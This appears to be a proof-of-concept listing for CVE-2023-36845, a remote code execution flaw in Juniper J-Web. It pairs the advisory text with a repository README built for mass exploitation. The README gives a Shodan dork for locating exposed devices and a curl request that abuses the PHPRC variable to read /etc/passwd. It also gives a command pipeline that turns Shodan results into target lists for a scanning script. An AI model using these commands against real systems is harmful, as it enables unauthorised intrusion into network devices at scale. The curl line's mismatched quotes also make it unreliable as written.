CVE-2023-36845 PoC — Junos OS: EX and SRX Series: A PHP vulnerability in J-Web allows an unauthenticated to control an important environment

Source

https://github.com/jahithoque/Juniper-CVE-2023-36845-Mass-Hunting

Associated Vulnerability

Title:Junos OS: EX and SRX Series: A PHP vulnerability in J-Web allows an unauthenticated to control an important environment variable (CVE-2023-36845)
Description:A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to remotely execute code. Using a crafted request which sets the variable PHPRC an attacker is able to modify the PHP execution environment allowing the injection und execution of code. This issue affects Juniper Networks Junos OS on EX Series and SRX Series: * All versions prior to 20.4R3-S9; * 21.1 versions 21.1R1 and later; * 21.2 versions prior to 21.2R3-S7; * 21.3 versions prior to 21.3R3-S5; * 21.4 versions prior to 21.4R3-S5; * 22.1 versions prior to 22.1R3-S4; * 22.2 versions prior to 22.2R3-S2; * 22.3 versions prior to 22.3R2-S2, 22.3R3-S1; * 22.4 versions prior to 22.4R2-S1, 22.4R3; * 23.2 versions prior to 23.2R1-S1, 23.2R2.

Description

Juniper RCE (Remote Code Execution) CVE-2023-36845 is a vulnerability that has been identified within Juniper's software. This particular flaw allows for remote code execution, meaning an attacker could run arbitrary code on a system without needing physical access to the device.

Readme

# Juniper-CVE-2023-36845-Mass-Hunting
Juniper RCE (Remote Code Execution) CVE-2023-36845 is a vulnerability that has been identified within Juniper's software. This particular flaw allows for remote code execution, meaning an attacker could run arbitrary code on a system without needing physical access to the device.

## How to find:

Shodan dork: http.favicon.hash:2141724739

use with relevant other dorks such as ssl certs, org name, etc for a more targetted search.


## Exploitation for a single host:

curl -k https://$IP/about.php?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"’

## Automation: 
└─# shodan download Juniper 'http.favicon.hash:2141724739 ssl:domain.com’ #download from shodan

└─# shodan parse Juniper.json.gz --fields ip_str,port >unfiltered_IP_Ports.txt

└─# awk '{print $1":"$2}' unfiltered_IP_Ports.txt >juniper-final.txt

└─# ./Juniper-RCE-check.sh -f juniper-final.txt
![IMAGE](imageedit_1_8650806956.jpg)

File Snapshot


 [4.0K]  /data/pocs/334b283944e49c4d868c4a00bcd3dca34cbef154
├── [105K]  imageedit_1_8650806956.jpg
├── [1.4K]  Juniper-RCE-Check.sh
├── [6.9K]  LICENSE
└── [ 974]  README.md

0 directories, 4 files

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